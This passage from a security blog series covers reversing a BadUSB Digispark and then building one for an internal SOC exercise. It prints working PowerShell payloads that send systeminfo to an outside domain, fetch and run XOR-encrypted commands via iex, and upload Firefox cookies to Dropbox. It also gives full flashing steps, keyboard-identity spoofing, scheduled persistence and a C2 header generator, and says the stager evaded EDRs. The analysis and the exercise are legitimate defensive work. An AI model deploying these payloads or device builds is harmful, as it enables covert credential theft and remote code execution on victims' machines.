        output += `${modValue.toString()},${value.toString()}, `
    }
  1. Find the Key in the layout json file.
const key = layout.find(key => key.char === char)
  1. Get the Key Value using charMap, A map giving a value to the key.
const value = getKeyValue(key ? key.us : char)
Note

Ternary operator: (condition) ? "value if True" : "value if False"

const getKeyValue = (key) => {
    return charMap[key] | 0x00
}
const charMap = {
    'a': 0x04,
    'b': 0x05,
    'c': 0x06,
    ...
    '1': 0x1e,
    '2': 0x1f,
    ...
    ' ': 0x2c,
    '-': 0x2d,
    '=': 0x2e,
    ...
    // Extras
    '\n': 0x28, // ENTER
    'Space': 0x2c, // SPACE
    ...
}
  1. Get modValue, special key combinations.
const getModValue = (key) => {
    let value = 0x00
    if (key.shift) value |= modMap['LSHIFT']
    if (key.alt) value |= modMap['LALT']
    if (key.altGr) value |= modMap['RALT']
    return value
}

If any of the key attributes is present, it does a bitwise OR (|=) against value using the modMap mapping with the following values:

const modMap = {
    'LSHIFT': 0x02,
    'LALT': 0x04,
    'RALT': 0x40,
    ...
}

It essentially is bit masking the mod options in a single byte.

  1. Process Combos, multiple keys pressed.

At this point we already have the key and keymod, but some chars are encoded using more than one key pressed, and are defined as combos.

If we found a valid value, and the key contains a valid key.combo, we continue to get the comboModValue the same way as before, as well as the comboValue:

const comboModValue = getComboModValue(key)
const comboValue = getKeyValue(key.combo)
const getComboModValue = (key) => {
    let value = 0x00
    if (key.comboAlt) value |= modMap['LALT']
    if (key.comboAltGr) value |= modMap['RALT']
    if (key.comboShift) value |= modMap['LSHIFT']
    return value
}
  1. Add key results to Output
output += `${comboModValue.toString()},${comboValue.toString()}, `
...
output += `${modValue.toString()},${value.toString()}, `

For example, encoding the character “à” with the es layout might result in:

{0,47, 0,4}

But that is not a possible value using the us layout and will be represented as:

{0,0}
Warning

The key.combo and key.char values could overlap, making it challenging to distinguish between comboModValue/comboValue and modValue/value.

Decoding the values by manually inspecting the mappings is complex. Therefore, automating the process is a practical solution. It’s nice to find an excuse for spending some time automating stuff.

Automating the decoding process

Each key pressed is represented by a pair of values because some characters require multiple special keys to be pressed simultaneously. For instance, a capital A is sent using the combination SHIFT + a.

If a character needs another key pressed first, it becomes a combo combination, resulting in two pairs of values (for example à is equal to ` + a in some layouts).

To automate the decoding process, I wrote a Python script.

First, let’s define a class representing the key with all possible attributes:

class Key:
    def __init__(self) -> None:
        self.key_mod = 0
        self.key_mod_values = []
        self.key = 0
        self.key_values = []
        self.char = ""
        self.alt = False
        self.altGr = False
        self.shift = False
        self.us = ""
        self.combo = ""
        self.comboAlt = False
        self.comboAltGr = False
        self.comboShift = False

For testing, we will use the following values:

line = b"\x00\x06\x00\x10\x00\x07\x00\x2c\x00\x38\x00\x0e"

Before starting the decoding, we need to guess the layout and system. The best way to use the same values as the encoding process is to copy the full library folder and search from there:

def get_possible_layouts():
    possible_layouts = set()
    for _, _, file_names in os.walk(Path(__file__).parent.resolve().joinpath("library")):
        for file_name in file_names:
            if file_name.endswith(".json"):
                possible_layouts.add(file_name.split(".")[0])
    return list(possible_layouts)

def load_layout(system, layout):
    try:
        with open(Path(__file__).parent.resolve().joinpath(f"library/{system}/{layout}.json")) as f:
            return json.load(f)
    except Exception:
        logging.exception("Error loading layout")
        exit()

The main function iterates through the characters of the string and encodes them one by one.

The basic reverse process is to check if the char is a combo and then try to load the next char to verify if it’s valid or not. If not, it will try to reverse a normal key. If something goes wrong, will ignore it and just continue with the next one.

def extract_string(line, layout):
    decoded = ""
    offset = 0
    for i in range(0, len(line), 1):
        i += offset
        try:
            _combo_key = reverse_combo(line[i], line[i+1], layout)
        except IndexError:
            continue
        if _combo_key:
            # check if next key can be combo-ed
            try:
                _k = reverse_combo_key(line[i+2], line[i+3], layout, _combo_key)
                if _k:
                    # combo key sucess
                    logging.debug(_k)
                    decoded += _k.char
                    offset += 3
                    continue
            except IndexError:
                continue
        try:
            _k = reverse_key(line[i], line[i+1], layout)
        except IndexError:
            continue
        if _k == False:
            continue
        logging.debug(_k)
        decoded += _k.char
        offset += 1
    logging.info(decoded)

The reverse_combo, reverse_combo_key, and reverse_key functions are very similar, and decode pairs of values. The layout argument is the loaded json file with all the keys.

def reverse_key(key_mod, key, layout) -> Key:
    # assume no previous combo key was found
    _k = Key()
    _k.key_mod = key_mod
    _k.key = key
    _k.key_values = [k for k, v in maps.charMap.items() if v == _k.key]
    if len(_k.key_values) == 1:
        _k.us = _k.key_values[0]
        _k.key_mod_values = [k for k, v in maps.modMap.items() if v == (_k.key_mod & v)]
        _k.reverse_key_mod()
        possible_char = list(
            filter(
                lambda x: all(
                    [
                        x["us"] == _k.us,
                        x["shift"] == _k.shift,
                        x["alt"] == _k.alt,
                        x["altGr"] == _k.altGr,
                        x["combo"] == _k.combo,
                        x["comboShift"] == _k.comboShift,
                        x["comboAlt"] == _k.comboAlt,
                        x["comboAltGr"] == _k.comboAltGr,
                    ]
                ),
                layout.get("keys", []),
            )
        )
        if len(possible_char) == 1:
            _k.char = possible_char[0].get("char")
            logging.debug(f"key found! \n{_k}")
            return _k
        elif len(possible_char) > 1:
            logging.warning(f"Multiple char found for this key! {possible_char}")
            logging.warning(_k)
            return False
        else:
            return False
    elif len(_k.key_values) > 1:
        # edge case: space value is duplicated in charMap
        if " " in _k.key_values and "Space" in _k.key_values:
            # ignore key_mod
            _k.char = " "
            _k.us = " "
            return _k
        else:
            return False
    else:
        return False

To reverse the process of the encoding, we need to inverse the bitwise OR. I wrote some small methods in the Key object to retrieve the information by just using _k.reverse_key_mod().

    def reverse_key_mod(self) -> None:
        if "LSHIFT" in self.key_mod_values:
            self.shift = True
        if "LALT" in self.key_mod_values:
            self.alt = True
        if "RALT" in self.key_mod_values:
            self.altGr = True

    def reverse_key_mod_combo(self) -> None:
        if "LSHIFT" in self.key_mod_values:
            self.comboShift = True
        if "LALT" in self.key_mod_values:
            self.comboAlt = True
        if "RALT" in self.key_mod_values:
            self.comboAltGr = True

With all that information gathered from the mapping, the final step is to filter the chosen layout for a key that matches all those properties.

A special case is the space key (0x2c) because is the only duplicated value in the charMap. If the length of _k.key_values is greater than 1, a space is assumed.

We can now test the script with our sample string (line = b"\x00\x06\x00\x10\x00\x07\x00\x2c\x00\x38\x00\x0e"):

$ python3 test_unduckify.py --layout us --system win
INFO: cmd /k

The simple test works well :)

Automating the extraction with r2pipe

Now that we have a working prototype for decoding the payload, we can use it to analyze a memory dump programmatically with r2pipe. This tool allows us to interact with radare2 directly from the Python script.

The first step is to load the binary and analyze it. We also get the binary size and a list of all the detected functions.

    # load binary
    binary_file = Path(__file__).parent.resolve().joinpath(args.file)
    try:
        r = r2pipe.open(str(binary_file))
    except Exception:
        exit()
    else:
        logging.info(f"Binary loaded: {str(binary_file)}")

    # analyze binary: get binary size and functions
    r.cmdj("aaa")
    binary_size = r.cmdj("ij").get("core", {}).get("size")
    functions = r.cmdj("aflj")

We need the binary_size to iterate over the memory dump byte by byte.

If radare2 has detected a function at a certain location, we can ignore that section of the memory as it doesn’t contain the data we are looking for.

...
for i in range(0, binary_size, 1):
    ...
    # ignore memory that is part of a function
    for f in functions:
        if f.get("offset") <= i < f.get("offset") + f.get("realsz"):
            break
    ...

At this point, we already have the basic structure of the program. The only remaining task is reading the bytes from the binary. Using the following command, we can read (in json format) 4 bytes at the current offset in our iteration. We need two pairs of values to check if there is a combo key.

ex = r.cmdj(f"pxj 4 @ {i}")

The final part of the script uses the same functions explained before to reverse the bytes (reverse_combo, reverse_combo_key, and reverse_key).

As we iterate over a large binary without knowing its contents, it’s normal to encounter a lot of irrelevant or junk bytes. If any error occur, we simply ignore the byte and continue.

Packaging and time of truth

The script has grown considerably, and I decided to build it into a package.

It’s called unduckify and the source code can be found here

Usage:

$ unduckify --help
usage: unduckify [-h] (-f FILE | -t TEST) [-l {si,es-la,be,ie,ca-cms,gb,no,sk,ch-fr,bg,is,lt,cz,ca-fr,pt-br,ua,ro,tr,nl,hu,us,ru,ch-de,se,es,it,fi,fr,in,lv,ee,de,pl,dk,gr,hr,pt}]
                 [-s {win,mac}] [-v]

options:
  -h, --help            show this help message and exit
  -f FILE, --file FILE
  -t TEST, --test TEST  Provide a value list to test. Example: "0,6, 0,16, 0,7, 0,44, 2,36, 0,14"
  -l {si,es-la,be,ie,ca-cms,gb,no,sk,ch-fr,bg,is,lt,cz,ca-fr,pt-br,ua,ro,tr,nl,hu,us,ru,ch-de,se,es,it,fi,fr,in,lv,ee,de,pl,dk,gr,hr,pt}, --layout {si,es-la,be,ie,ca-cms,gb,no,sk,ch-fr,bg,is,lt,cz,ca-fr,pt-br,ua,ro,tr,nl,hu,us,ru,ch-de,se,es,it,fi,fr,in,lv,ee,de,pl,dk,gr,hr,pt}
  -s {win,mac}, --system {win,mac}
  -v, --verbose

Example using test values:

$ unduckify -t "0,6, 0,16, 0,7, 0,44, 2,36, 0,14" -l es -s win -v
DEBUG: args.file=None
DEBUG: args.test='0,6, 0,16, 0,7, 0,44, 2,36, 0,14'
DEBUG: args.layout='es'
DEBUG: args.system='win'
DEBUG: args.verbose=True
INFO: Values to test: [0, 6, 0, 16, 0, 7, 0, 44, 2, 36, 0, 14]
DEBUG: key found!
DEBUG: (0,6) us='c', char='c', key_mod_values=[], key_values=['c'], alt=False, altGr=False, shift=False, combo='', comboAlt=False, comboAltGr=False, comboShift=False
DEBUG: key found!
DEBUG: (0,16) us='m', char='m', key_mod_values=[], key_values=['m'], alt=False, altGr=False, shift=False, combo='', comboAlt=False, comboAltGr=False, comboShift=False
DEBUG: key found!
DEBUG: (0,7) us='d', char='d', key_mod_values=[], key_values=['d'], alt=False, altGr=False, shift=False, combo='', comboAlt=False, comboAltGr=False, comboShift=False
DEBUG: space found!
DEBUG: (0,44) us=' ', char=' ', key_mod_values=[], key_values=[' ', 'Space'], alt=False, altGr=False, shift=False, combo='', comboAlt=False, comboAltGr=False, comboShift=False
DEBUG: key found!
DEBUG: (2,36) us='7', char='/', key_mod_values=['SHIFT', 'LSHIFT'], key_values=['7'], alt=False, altGr=False, shift=True, combo='', comboAlt=False, comboAltGr=False, comboShift=False
DEBUG: key found!
DEBUG: (0,14) us='k', char='k', key_mod_values=[], key_values=['k'], alt=False, altGr=False, shift=False, combo='', comboAlt=False, comboAltGr=False, comboShift=False
INFO: cmd /k

Example using a memory dump:

$ unduckify -f dump.bin -l us -s win
INFO: Binary loaded: /.../dump.bin
INFO: Analyze all flags starting with sym. and entry0 (aa)
INFO: Analyze imports (af@@@i)
INFO: Analyze entrypoint (af@ entry0)
INFO: Analyze symbols (af@@@s)
INFO: Recovering variables
INFO: Analyze all functions arguments/locals (afva@@@F)
INFO: Analyze function calls (aac)
INFO: find and analyze function preludes (aap)
INFO: Analyze len bytes of instructions for references (aar)
INFO: Finding and parsing C++ vtables (avrr)
INFO: Analyzing methods
INFO: Finding xrefs in noncode sections (e anal.in=io.maps.x; aav)
WARN: Skipping aav because base address is zero. Use -B 0x800000 or aav0
INFO: Emulate functions to find computed references (aaef)
INFO: Recovering local variables (afva)
INFO: Type matching analysis for all functions (aaft)
INFO: Propagate noreturn information (aanr)
INFO: Use -AA or aaaa to perform additional experimental analysis
INFO: binary_size=4522
INFO: len(functions)=14
INFO: extracted data:
 04^]fHnPvXBfb8833=aF%Ff5dEgme3.$h=iwr -me o -useR('')-uR('{3}{1}{4}{0}{2}'-f'dom','tps://','ain/','ht','my.')|select H*;$h=$h.headers['x-'+[char]99+'tf'];$k=([byte]91,170,97,228,201,185,63,63,6,130,37,11,108,248,51,27,126,230,143,216);iex([System.Text.Encoding]::UTF8.GetString((0..([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($h)).Length-1)|ForEach-Object{([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($h))[$_] -bxor $k[$_ % $k.Length])})))powershell -ver 5 -nol -nop -ep bypassexitpowershell -nol -nop -ep bypass -c "Invoke-WebRequest -UserAgent '' -Uri http://my.domain/$([Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($(systeminfo)))) | out-null"cmd /k/Ame7Dj<dn [zz{[[0zz22eL@fl22le0eL@ |]mnt[m][)6| 3vmn 6ftc2lemn3f]}}n]}]]}}f[[[y e@s!b2lL@Hf2leFnL@\xh2leLLN]6LLzzzz[ll2uzz[[)E000HFDB@#CE[U{{0n 0 CE0 U0 0"vnP,N2l[u5n3mx0]''eW@UET))ynNmTT.76 OQ{m

The extracted data contains a lot of garbage, but hidden within it is my payload! The payload is exactly the same but appears as a continuous string. Looking at this output makes it relatively easy to deduce what the badUSB is doing.

If we separate the lines, the payload becomes much clearer:

$h=iwr -me o -useR('')-uR('{3}{1}{4}{0}{2}'-f'dom','tps://','ain/','ht','my.')|select H*;
$h=$h.headers['x-'+[char]99+'tf'];
$k=([byte]91,170,97,228,201,185,63,63,6,130,37,11,108,248,51,27,126,230,143,216);
iex([System.Text.Encoding]::UTF8.GetString((0..([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($h)).Length-1)|ForEach-Object{([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($h))[$_] -bxor $k[$_ % $k.Length])})))
powershell -ver 5 -nol -nop -ep bypass
exit
powershell -nol -nop -ep bypass -c "Invoke-WebRequest -UserAgent '' -Uri http://my.domain/$([Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($(systeminfo)))) | out-null"
cmd /k

But since I already knew what was there, could we test it with another payload? Sure, let’s try it!

Reverse other random payloads from the Internet

There are a lot of resources with sample payloads, examples, or pranks for the Digispark BadUSB or the Rubber Ducky available on the internet. The majority of these payloads are in DuckyScript format. Some example repositories include:

I found a random payload and flashed it into the Digispark, but I don’t remember where I got it from. Let’s see if I can recover the payload using my unduckify tool:

$ unduckify -l us -s win -f ../dumps/digispark.bin 
INFO: Binary loaded: /.../dumps/digispark.bin
INFO: Analyze all flags starting with sym. and entry0 (aa)
INFO: Analyze imports (af@@@i)
INFO: Analyze entrypoint (af@ entry0)
INFO: Analyze symbols (af@@@s)
INFO: Recovering variables
INFO: Analyze all functions arguments/locals (afva@@@F)
INFO: Analyze function calls (aac)
INFO: find and analyze function preludes (aap)
INFO: Analyze len bytes of instructions for references (aar)
INFO: Finding and parsing C++ vtables (avrr)
INFO: Analyzing methods
INFO: Finding xrefs in noncode sections (e anal.in=io.maps.x; aav)
WARN: Skipping aav because base address is zero. Use -B 0x800000 or aav0
INFO: Emulate functions to find computed references (aaef)
INFO: Recovering local variables (afva)
INFO: Type matching analysis for all functions (aaft)
INFO: Propagate noreturn information (aanr)
INFO: Use -AA or aaaa to perform additional experimental analysis
INFO: binary_size=4430
INFO: len(functions)=12
INFO: extracted data:
 04^]fHnPvXBfb8833=aF%Ff5dEgme3.Invoke-RestMethod -Uri $uploadUrl -Headers $headers -Method Post -Body $filePath; exit;$headers.Add("Content-Type", "application/octet-stream")$headers.Add("Dropbox-API-Arg", '{"path":"' + $dropboxFilePath + '","mode":"add","autorename":true,"mute":false}')$headers.Add("Authorization", "Bearer $accessToken")$headers = @{}$dropboxFilePath = "/cookies_exported.sqlite"$uploadUrl = "https://content.dropboxapi.com/2/files/upload"    $accessToken = "DROPBOX_ACCESS_TOKEN"$filePath = Join-Path -Path $firefoxProfile.FullName -ChildPath 'cookies.sqlite'$firefoxProfile = Get-ChildItem -Path $firefoxProfilePath | Where-Object {$_.Name -like "*default-release"}$firefoxProfilePath = Join-Path -Path $env:APPDATA -ChildPath 'Mozilla\Firefox\Profiles'powershell/AmnDj<dn L@fl22le0eL@ |]mnt[m][)6| 3vmn 6ftc2lemn3f]}}n]}]]}}f[[[y e@s!b2lL@Hf2leFnL@\xh2leLLN]6LLzzzz[ll2uzz[[)E000HFDB@#CE[U{{0n 0 CE0 U0 0"vnP,N2l[u5n3mx0]''eW@UET))ynNmTT.OQ{mB

Let’s analyze the extracted data after cleaning it up:

powershell
$firefoxProfilePath = Join-Path -Path $env:APPDATA -ChildPath 'Mozilla\Firefox\Profiles'
$firefoxProfile = Get-ChildItem -Path $firefoxProfilePath | Where-Object {$_.Name -like "*default-release"}
$filePath = Join-Path -Path $firefoxProfile.FullName -ChildPath 'cookies.sqlite'
$uploadUrl = "https://content.dropboxapi.com/2/files/upload"
$dropboxFilePath = "/cookies_exported.sqlite"
$accessToken = "DROPBOX_ACCESS_TOKEN"
$headers = @{}
$headers.Add("Content-Type", "application/octet-stream")
$headers.Add("Dropbox-API-Arg", '{"path":"' + $dropboxFilePath + '","mode":"add","autorename":true,"mute":false}')
$headers.Add("Authorization", "Bearer $accessToken")
Invoke-RestMethod -Uri $uploadUrl -Headers $headers -Method Post -Body $filePath;
exit;

It is clearly a Firefox exfiltration using powershell. It searches for the cookies.sqlite database and uploads it to Dropbox using a custom ACCESS_TOKEN.

The unduckify tool works really well; it’s plug-and-play once you have the memory dump (but has to be flashed using Duckify). This allows for efficient extraction and analysis of payloads, even if the original source is forgotten or unavailable.

Conclusions

We have successfully analyzed a USB device without plugging it into the computer. This project spanned several months, and I am satisfied with the final results and all the knowledge gained.

I’m happy to have finally solved a problem I had looked up myself. I can continue with my life now.

I also really loved automating everything and playing with radare2 <3

And remember, if you ever find a USB stick in the parking lot, don’t plug it in, reverse it!

Back to top ]]> reversing hardware badusb digispark radare2 duckify avr attiny85 https://0xlibris.net/posts/reversing_badusb_3/ Wed, 31 Jul 2024 00:00:00 GMT From sadusb to badusb. Building an internal SOC exercise [2/3] https://0xlibris.net/posts/reversing_badusb_2/

Introduction

After my failed attempts at reading the contents of a suspicious USB device, I decided to change the hat and use the badusb for my own evil purposes.

This is the obvious turn of events after the frustration I detailed in my previous blog post: How to safely investigate an unknown and potentially malicious USB device [1/3]

Learning how to weaponize

The first step is to learn how to flash a custom payload.

I’ve learned that ATtiny devices are a bit faulty and outdated, but let’s try anyway!

How to flash

There’s a ton of documentation out there, but finding something that works in 2024 is more difficult. Much of it is about 10 years old (!).

The easiest way would be to check the Digispark documentation, but oh no, the website is no longer available.

Looking back in time, we had to add an Additional Board Manager URL with the value http://digistump.com/package_digistump_index.json to the Arduino IDE. Then we could install the board manager “Digistump AVR Boards by Digistump”, but that resource is no longer available.

Luckily, there are mirrors and alternatives, and even the holy Web Archive has an old version (1.6.7). ArminJo forked the original repo and continued to maintain it until 2023, which then became deprecated in favor of ATTinyCore.

Sadly, ATTinyCore doesn’t include the DigiKeyboard library anymore. According to the principal contributor:

The digistump core jumps through flaming hoops on one leg in the dark just to get any sort of functionality whatsoever - they compromise the functionality of the chip in every way.

In summary, with the new USB implementations of modern operating systems, the timing constraints are too demanding for the poor ATtinys.

Somehow, I found a way to make it work.

spacehuhntech has a pretty Duckify application for converting BadUSB scripts into Arduino IDE Sketches. They also have nice documentation about how to install and use it. It’s based on the deprecated ArminJo’s board manager, but for now, it worked for me.

Steps

Instructions based on duckify huhn documentation, but I never made it work using the bootloader and plugging in the USB. Instead, I used avrdude to flash directly without any bootloader defined.

1 - Prepare the programmer

  1. Install the Arduino IDE
  2. Flash the Arduino with the Arduino ISP
  3. Make the SPI connections to the clipped ATtiny (explained in Dumping memory, Second attempt: Arduino)

2 - Install the Board Manager

  1. Go to File > Preferences > Additional Boards Manager URLs and paste
https://raw.githubusercontent.com/ArminJo/DigistumpArduino/master/package_digistump_index.json
  1. Click OK to save and close the Preferences
  2. Go to Tools > Board > Boards Manager, search for Digispark, and install “Digistump AVR Boards” by Digistump (version 1.7.5)

3.a - Flash new sketch using Arduino IDE

  1. Go to duckify.huhn.me and write your badUSB script
  2. Select System, Keyboard, and Digispark Mode, and click convert
  3. Copy the generated code and paste it into a new Arduino IDE Sketch
  4. Go to Tools > Board > Digistump AVR Boards and select Digispark
  5. Select the Port of the Arduino (the programmer)
  6. Select Burn Bootloader Method > Fresh Install (via ISP)
  7. Select Clock > 16 MHz - No USB
  8. Select Programmer > Arduino as ISP
  9. Click Verify (in the top left)
  10. It has compiled the source code in a temporary folder; find it in the output panel and locate the .hex file (something like /tmp/arduino/sketches/<random_value>/sketch_name.ino.hex).
  11. Flash the hex file using avrdude:
sudo avrdude -v -c avrisp -p t85 -P /dev/ttyACM0 -b 19200 -U flash:w:/path/to/sketch_name.ino.hex

3.b - Alternative method using Arduino CLI

  1. Install Arduino CLI
  2. Create a folder with the name of the project
  3. Go to duckify.huhn.me and write your badUSB script
  4. Select System, Keyboard, and Digispark Mode, and click convert
  5. Copy the generated code and paste it into a new .ino file inside the newly created folder with the same name
project_name
└── project_name.ino
  1. Compile using arduino-cli
arduino-cli compile -e --fqbn digistump:avr:digispark-tiny project_name/project_name.ino
  1. A new build folder is created
project_name
├── build
│   └── digistump.avr.digispark-tiny
│       ├── project_name.ino.eep
│       ├── project_name.ino.elf
│       ├── project_name.ino.hex
│       ├── project_name.ino.lst
│       ├── project_name.ino.map
│       ├── project_name.ino.with_bootloader.bin
│       └── project_name.ino.with_bootloader.hex
└── project_name.ino
  1. Flash with avrdude
sudo avrdude -v -c avrisp -p t85 -P /dev/ttyACM0 -b 19200 -U flash:w:project_name/build/digistump.avr.digispark-tiny/project_name.ino.hex

By using this way, the flashing process can be more or less automated in a simple script.

Fuse tuning

In order to make it work, I had to modify some fuse values.

To read the fuse values:

sudo avrdude -v -c avrisp -p t85 -P /dev/ttyACM0 -b 19200 -U lfuse:r:-:h -U hfuse:r:-:h -U efuse:r:-:h -U lock:r:-:h

Optimal values:

Fuse Value Description
lfuse 0xf1 High Frequency PPL Clock, nominal frequency of 16 MHz; Start-up time 16K CK / 14 CK + 64 ms
hfuse 0xdf Enable Serial Program and Data Downloading and Brown-out detection disabled
efuse 0xfe Self Programming enabled
lock 0xff No memory lock features enabled

And to write fuse values:

sudo avrdude -v -c avrisp -p t85 -P /dev/ttyACM0 -b 19200 -U lfuse:w:0xf1:m -U hfuse:w:0xdf:m -U efuse:w:0xfe:m -U lock:w:0xff:m

Configure keyboard

The Digispark can be configured to appear as a different device, such as an Apple keyboard or a harmless greasy corporate Dell keyboard.

From the duckify huhn documentation:

  1. Find where the DigisparkKeyboard library is located
  2. Edit the file usbconfig.h:
    • USB VID (USB_CFG_VENDOR_ID)
    • USB PID (USB_CFG_DEVICE_ID)
    • Vendor name (USB_CFG_VENDOR_NAME and USB_CFG_VENDOR_NAME_LEN)
    • Device name (USB_CFG_DEVICE_NAME and USB_CFG_DEVICE_NAME_LEN)

A list of possible registered USB devices can be found on websites like devicehunt.com

I chose a Dell keyboard, and the modified values are:

#define USB_CFG_VENDOR_ID 0x3c, 0x41
[...]
#define USB_CFG_DEVICE_ID 0x10, 0x20
[...]
#define USB_CFG_VENDOR_NAME     'D','e','l','l',' ','C','o','m','p','u','t','e','r',' ','C','o','r','p','.'
[...]
#define USB_CFG_VENDOR_NAME_LEN 19
[...]
#define USB_CFG_DEVICE_NAME     'K','e','y','b','o','a','r','d'
[...]
#define USB_CFG_DEVICE_NAME_LEN 8

Other problems

The badusb does not work well with USB 3.0 ports due to a timing issues. However, using a USB 2.0 extension cable or a USB hub forces a downgrade from USB 3.0 (9 pins) to USB 2.0 (4 pins) and solves the problem :)

Crafting the exercise

Earlier this year, Mandiant published an article titled Evolution of UNC4990: Uncovering USB Malware’s Hidden Depths that reminded us that BadUSB devices are still used as an initial infection vector today.

My idea was to plug my USB device into a micro PC behind a TV. Of course, I had insider information and physical access, but I worked there and this is an exercise.

If I wanted to maintain persistence, the payload execution should be scheduled. I achieved this behavior using the following code, running in the loop section and sleeping for a couple of hours in between.

void setup() {}

void loop() {
    // ...
    unsigned long seconds = 1000L;  // Notice the L 
    unsigned long minutes = seconds * 60;
    unsigned long hours = minutes * 60;

    // sleep for 2 hours
    delay(2*hours);
    // ...
}

I divided the exercise into two different phases:

Phase 1: Exfiltration

The first phase is the easy one: just a request exfiltrating data to a server controlled by me:

powershell -nol -nop -ep bypass -c "Invoke-WebRequest -UserAgent '' -Uri http://my.domain/$([Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($(systeminfo)))) | out-null"

The output of the systeminfo command is base64 encoded and sent to my domain in the URL path.

The Ducky script would be something like this:

DELAY 5000
GUI R
DELAY 1000
STRING cmd /k
DELAY 500
ENTER
DELAY 5000
STRING powershell -nol -nop -ep bypass -c "Invoke-WebRequest -UserAgent '' -Uri http://my.domain/$([Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($(systeminfo)))) | out-null"
DELAY 500
ENTER
DELAY 10000
STRING exit
DELAY 500
ENTER

Phase 2: C2 implant

The second phase is a bit more complex and is executed a couple of minutes after the exfiltration phase.

First, it spawns a cmd, then a powershell, and finally runs the obfuscated payload:

$h=iwr -me o -useR('')-uR('{3}{1}{4}{0}{2}'-f'dom','tps://','ain/','ht','my.')|select H*;$h=$h.headers['x-'+[char]99+'tf'];$k=([byte]91,170,97,228,201,185,63,63,6,130,37,11,108,248,51,27,126,230,143,216);iex([System.Text.Encoding]::UTF8.GetString((0..([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($h)).Length-1)|ForEach-Object{([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($h))[$_] -bxor $k[$_ % $k.Length])})))

De-obfuscating it reveals four different parts:

  1. It requests the URL https://my.domain without a User-Agent and using the HTTP method OPTIONS. It then selects the headers and saves them to the variable $h.
$h=iwr -me o -useR('')-uR('{3}{1}{4}{0}{2}'-f'dom','tps://','ain/','ht','my.')|select H*;
  1. In the second part, it retrieves the contents of the x-ctf header.
$h=$h.headers['x-'+[char]99+'tf'];
  1. Next, it defines a hardcoded key. I’ll leave the cracking and deciphering the meaning of the password as an exercise for the reader.
$k=([byte]91,170,97,228,201,185,63,63,6,130,37,11,108,248,51,27,126,230,143,216);
  1. The final part performs XOR decryption on the contents of the header using the hardcoded key. The output is executed using iex (Invoke-Expression).
iex([System.Text.Encoding]::UTF8.GetString((0..([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($h)).Length-1)|ForEach-Object{([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($h))[$_] -bxor $k[$_ % $k.Length])})))

I also created a small Python function to generate encrypted second-stage payloads on my minimal c2 server:

def generate_header_c2():
    # generate encrypted header command using xor
    encrypted_command = ""
    for i in range(len(X_HEADER_VALUE)):
        encrypted_command += chr(ord(X_HEADER_VALUE[i]) ^ KEY[i % len(KEY)])
    encrypted_command_b64 = base64.b64encode(encrypted_command.encode())
    return {f"{X_HEADER_NAME}": encrypted_command_b64.decode()}

I tested the payload on different EDRs, and my malicious second-stage payload executed fine without major alerts. The tested payloads were harmless like hostname or ipconfig. Hopefully, if the next payload were really malicious, it would probably be detected.

The second Ducky script looks like this:

DELAY 10000
GUI R
DELAY 2000
STRING cmd /k
DELAY 500
ENTER
DELAY 2000
STRING powershell -ver 5 -nol -nop -ep bypass
DELAY 500
ENTER
STRING $h=iwr -me o -useR('')-uR('{3}{1}{4}{0}{2}'-f'dom','tps://','ain/','ht','my.')|select H*;$h=$h.headers['x-'+[char]99+'tf'];$k=([byte]91,170,97,228,201,185,63,63,6,130,37,11,108,248,51,27,126,230,143,216);iex([System.Text.Encoding]::UTF8.GetString((0..([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($h)).Length-1)|ForEach-Object{([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($h))[$_] -bxor $k[$_ % $k.Length])})))
DELAY 1000
ENTER
DELAY 10000
STRING exit
DELAY 500
ENTER
DELAY 1000
STRING exit
DELAY 500
ENTER

Packing up

With the two ducky script payloads ready, we can proceed to duckify.huhn.me to convert them into an Arduino IDE sketch.

To transform the badusb into a scheduler, I relocated the code from the setup() function to the loop() function and added delays between phases and at the end of execution. This configuration ensures the implant sleeps for 2 hours between executions.

Depending on the OS system or the keyboard language selected during the duckify conversion, the value pairs of the different characters may differ.

#include "DigiKeyboard.h"

const uint8_t key_cmd[] PROGMEM = {0,6, 0,16, 0,7, 0,44, 2,36, 0,14};
const uint8_t key_exfil[] PROGMEM = {0,19, 0,18, 0,26, 0,8, 0,21, 0,22, 0,11, 0,8, ...};
const uint8_t key_exit[] PROGMEM = {0,8, 0,27, 0,12, 0,23};
const uint8_t key_ps[] PROGMEM = {0,19, 0,18, 0,26, 0,8, 0,21, 0,22, ...};
const uint8_t key_c2[] PROGMEM = {2,33, 0,11, 2,39, 0,12, 0,26, ...};

void duckyString(const uint8_t* keys, size_t len) {  
    for(size_t i=0; i<len; i+=2) {
        DigiKeyboard.sendKeyStroke(pgm_read_byte_near(keys + i+1), pgm_read_byte_near(keys + i));
    }
}

void setup() {}

void loop() {
  pinMode(1, OUTPUT); // Enable LED
  digitalWrite(1, LOW); // Turn LED off
  DigiKeyboard.sendKeyStroke(0); // Tell computer no key is pressed

  unsigned long seconds = 1000L;
  unsigned long minutes = seconds * 60;
  unsigned long hours = minutes * 60;

  // Exfiltrate systeminfo via GET request
  DigiKeyboard.delay(5000); // DELAY 5000
  DigiKeyboard.sendKeyStroke(21, 8); // GUI R
  DigiKeyboard.delay(1000); // DELAY 1000
  duckyString(key_cmd, sizeof(key_cmd)); // STRING cmd /k
  DigiKeyboard.sendKeyStroke(40, 0); // ENTER
  DigiKeyboard.delay(5000); // DELAY 1000
  duckyString(key_exfil, sizeof(key_exfil)); // STRING powershell...
  DigiKeyboard.sendKeyStroke(40, 0); // ENTER
  DigiKeyboard.delay(10000); // DELAY 10000
  duckyString(key_exit, sizeof(key_exit)); // STRING exit
  DigiKeyboard.sendKeyStroke(40, 0); // ENTER

  delay(1*minutes);

  // c2 execute from encrypted header
  DigiKeyboard.delay(10000); // DELAY 10000
  DigiKeyboard.sendKeyStroke(21, 8); // GUI R
  DigiKeyboard.delay(2000); // DELAY 2000
  duckyString(key_cmd, sizeof(key_cmd)); // STRING cmd /k
